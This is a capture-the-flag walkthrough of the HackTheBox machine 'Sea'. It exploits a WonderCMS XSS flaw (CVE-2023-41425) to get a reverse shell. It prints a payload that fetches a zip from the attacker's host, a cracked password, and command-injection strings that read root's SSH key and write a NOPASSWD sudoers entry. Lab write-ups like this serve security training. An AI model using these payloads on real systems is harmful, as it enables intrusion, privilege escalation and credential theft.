Sea

Sea is a Linux box on the platform HackTheBox, created by FistMatHack.

Enumeration

Network Mapping

Here are all the open TCP ports:

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack
80/tcp open  http    syn-ack

Let’s get more details about these ports using -sVC for services and default scripts scan. Here is the result of the scan:

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e3:54:e0:72:20:3c:01:42:93:d1:66:9d:90:0c:ab:e8 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCZDkHH698ON6uxM3eFCVttoRXc1PMUSj8hDaiwlDlii0p8K8+6UOqhJno4Iti+VlIcHEc2THRsyhFdWAygICYaNoPsJ0nhkZsLkFyu/lmW7frIwINgdNXJOLnVSMWEdBWvVU7owy+9jpdm4AHAj6mu8vcPiuJ39YwBInzuCEhbNPncrgvXB1J4dEsQQAO4+KVH+QZ5ZCVm1pjXTjsFcStBtakBMykgReUX9GQJ9Y2D2XcqVyLPxrT98rYy+n5fV5OE7+J9aiUHccdZVngsGC1CXbbCT2jBRByxEMn+Hl+GI/r6Wi0IEbSY4mdesq8IHBmzw1T24A74SLrPYS9UDGSxEdB5rU6P3t91rOR3CvWQ1pdCZwkwC4S+kT35v32L8TH08Sw4Iiq806D6L2sUNORrhKBa5jQ7kGsjygTf0uahQ+g9GNTFkjLspjtTlZbJZCWsz2v0hG+fzDfKEpfC55/FhD5EDbwGKRfuL/YnZUPzywsheq1H7F0xTRTdr4w0At8=
|   256 f3:24:4b:08:aa:51:9d:56:15:3d:67:56:74:7c:20:38 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMMoxImb/cXq07mVspMdCWkVQUTq96f6rKz6j5qFBfFnBkdjc07QzVuwhYZ61PX1Dm/PsAKW0VJfw/mctYsMwjM=
|   256 30:b1:05:c6:41:50:ff:22:a3:7f:41:06:0e:67:fd:50 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHuXW9Vi0myIh6MhZ28W8FeJo0FRKNduQvcSzUAkWw7z
80/tcp open  http    syn-ack Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Sea - Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

At this point we know where to start our extended enumeration.

HTTP Enumeration (port 80)

Here is a look at the website.

on the HOW TO PARTICIPATE tab, we got a link to a form to contact the admins.

Here is the form:

With all that, here is the technology stack of this page:

Here is the full content of the website obtained using dirsearch, running the command:

> dirsearch -u http://sea.htb/ -x 500,401,404,501,503,403

Here is what we got:

We can only access contact.php. Let’s find a way to read and access those other directories forbidden to us.

While trying to abuse the contact form, we realized we could get the admin to click anything, since he is trigger happy

Now let’s find a way to steal a cookie first, if that’s not possible then we can try another attack. Not successful in the attack, but we know now that we got a XSS vulnerability. At this point, we tried stealing a cookie but we could not exfiltrate data because those Forbidden pages we did not know which file to request. So we needed to enumerate them back again, although they are all 301 pages. So now we will go further in these paths /data/, /messages/, /plugins/ and /themes/ Let’s use dirseach. First let’s start with /data, here is the command:

dirsearch -u http://sea.htb/data/ -x 500,501,503,403,401

Here is what we got:

Let’s dive deeper inside the http://sea.htb/data/files/ directory and see what we can find. We found some directories but that’s led us back to the main page:

For instance, going to http://sea.htb/data/files/admin/home, led to this page.

Then we proceed with /messages, here is what we got:

We also went digging into /plugins, here is what we got:

Finally we look into /themes and here is what we got:

All these results looked similar so we tried another tool. Let’s use FFUF this time. We ran the following command and this time only themes showed something different:

> ffuf -c -u http://sea.htb/themes/FUZZ -w ../SecLists-master/Discovery/Web-Content/raft-medium-directories-lowercase.txt -t 210 -fs 199

Here is the screenshot:

Now let’s go and fuzz the bike directory.

> ffuf -c -u http://sea.htb/themes/bike/FUZZ -w ~/wordlists/SecLists-master/Discovery/Web-Content/raft-medium-directories-lowercase.txt -t 210 -fs 199

We got some more data accessible to us this time:

Here is a look at the version of the bike theme:

We got the version but we still do not know what’s the version is about. Using another word list quickhits.txt, we found other files:

> ffuf -c -u http://sea.htb/themes/bike/FUZZ -w ~/wordlists/SecLists-master/Discovery/Web-Content/quickhits.txt -t 210 -fs 199

As shown here:

Let’s look at the README.md file which should contain more information:

We now know the version of the name of the CMS behind this bike theme, which is WonderCMS, we also know the version which is 3.2.0. Now let’s look for vulnerabilities of either the CMS or the specific version of the CMS. We quickly found an exploit online:

Here is a link to the Github repository.

Foothold & User

Exploiting this CVE, should give us a reverse shell inside the machine. Here is how to run the script:

python3 CVE-2023-41425.py http://sea.htb/loginURL <I.P> <PORT>

Assuming we already have the nc listener triggered, we then need to go back to the contact.php page in order for us to exploit the XSS on the website field for it to work. Since the exploit will reveal a URL that should be used to trigger the reverse shell, we copied and pasted it inside the Website field. For some reason it did not work. Looking back at the execution of the exploit, we can see the administrators download the malicious xss.js file:

Seems like the exploit is not working. Turns out we needed to modify the data in the script in order for us to have it download a zip file containing our reverse shell. Here is the changed data code:

  data = '''
var url = "http://sea.htb";
var token = document.querySelectorAll('[name="token"]')[0].value;
var urlRev = url+"/?installModule=http://10.10.14.16:8000/main.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
 if (xhr3.status == 200) {
   var xhr4 = new XMLHttpRequest();
   xhr4.withCredentials = true;
   xhr4.open("GET", url+"/themes/main/rev.php");
   xhr4.send();
   xhr4.onload = function() {
     if (xhr4.status == 200) {
       var ip = "'''+str(sys.argv[2])+'''";
       var port = "'''+str(sys.argv[3])+'''";
       var xhr5 = new XMLHttpRequest();
       xhr5.withCredentials = true;
       xhr5.open("GET", url+"/themes/main/rev.php?lhost=" + ip + "&lport=" + port);
       xhr5.send();
       
     }
   };
 }
};
'''

We got the rev.php from here. Here is the content of our zip file:

Since we did not put it in a folder we will need to access it differently compared to what’s mentioned in the code, We will hit the following url => http://sea.htb/themes/rev.php?lhost=10.10.14.16&lport=9009. If we had zip it inside of a folder main instead of just zipping the rev.php file, our exploit would have worked. Or we could change that part of the code like so xhr4.open("GET", url+"/themes/rev.php"); & xhr5.open("GET", url+"/themes/rev.php?lhost=" + ip + "&lport=" + port);. Following the URL http://sea.htb/themes/rev.php?lhost=10.10.14.16&lport=9009 gave us a reverse shell:

We were logged in as www-data:

Let’s get a user access.

Lateral movement & User Flag

Let’s find out who are the users of this system, running the following:

> cat /etc/passwd | grep /bin/bash

We got the following users root, amay and geo as shown below:

So we still do not know who to pivot to first, but let’s look at www-data directory and enumerate the configurations of the website. For that let’s dive into /var/www Inside the following file, we found some hashes => /var/www/sea/data According to the file those hashes belongs to loginURL

$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q

Running john revealed that we did not have a hash, which was weird:

Then we took a closer look at the hash and removed all the escape characters \, to have the following hash:

$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q

Cracking it using john revealed the following password => mychemicalromance

Which was tried against amay & geo, but turns out it belonged to amay. We found the user flag under amay’s home directory. Looking at the server statistics we found two new ports we did not have access to, which are 8080 and 59919.

Let’s port forward the port 8080 and see what we can find there.

Root Flag

Using ssh and adding the following parameter => -L 8080:127.0.0.1:8080. But when we tried accessing it on our machine, we got asked for a password and user we did not have.

Let’s try what we got so far, let’s try with amay’s credential for password reuse. It worked and gave us access to a monitoring website:

So within this monitoring tool we can read and access the auth.log and the access.log files. Meanwhile on the system logged in as amay we cannot read thos as shown below:

But here on the monitoring tool, they are all accessible to us, and also show a message about some Suspicious traffic patterns detected, as shown below:

Let’s fire burp, and try to analyze what’s really going on. To avoid conflict with Burp, we reconnected to sea with the following command:

ssh amay@sea.htb -L 8081:127.0.0.1:8080

To allow us to use Burp on port 8080 and forward the port to our port on 8081. So manipulating the log_file parameter of the POST request while analyzing ended up let us read the root flag. As shown below:

We obtained the root flag but I do not consider this box rooted, because how do I get root access from this point.

Privilege Escalation

For now we just got the root flag but nothing more. Which for me meant the box is not done until we get a shell as the root user. Let’s go ahead and exploit this more and find a way since we are the root user to either get a ssh id_rsa key or a reverse shell if possible. Both were not possible. So exploiting the parameter log_file, we quickly realize that ending the command with ; makes the rest of the command not executing. So we needed to find a different way for us to execute the command on this end. We did the following instead && and it worked. so we tried on our machine cat can read space separated files, this looks like it was just using cat to read the files. Now let’s try to read the root id_rsa key:

log_file=/etc/passwd%26%26/root/.ssh/id_rsa&&id&anayze_log=

This sadly resulted in nothing. Seems like the user root does not have a ssh key in his directory. After many trials and error, we realized that we could do something when we realized the following => sudo -l:

amay is not in the sudoers file, but as the root user we can add amay to the sudoers file and give the user access to root like this :

echo "amay ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/amay

The problem is we need to encode this with URL encode before sending the request. So on Burp Suite, we will first select the command and do CTRL+u in order to give it the right format for execution. Now we will have the following command:

echo+"amay+ALL=(ALL)+NOPASSWD%3a+ALL"+>>+/etc/sudoers.d/amay

The idea was good but not successful, until added a command a the end of the command: Here is the modified command:

log_file=/etc/passwd%26%26echo+"amay+ALL=(ALL)+NOPASSWD%3a+ALL"+>+/etc/sudoers.d/amay+#&analyze_log=

Here is how it looked on the Repeater:

Here is the result:

To guarantee the persistence, we can add our ssh key into the authorized_keys and access the machine as root on sea without his password.

Happy hacking !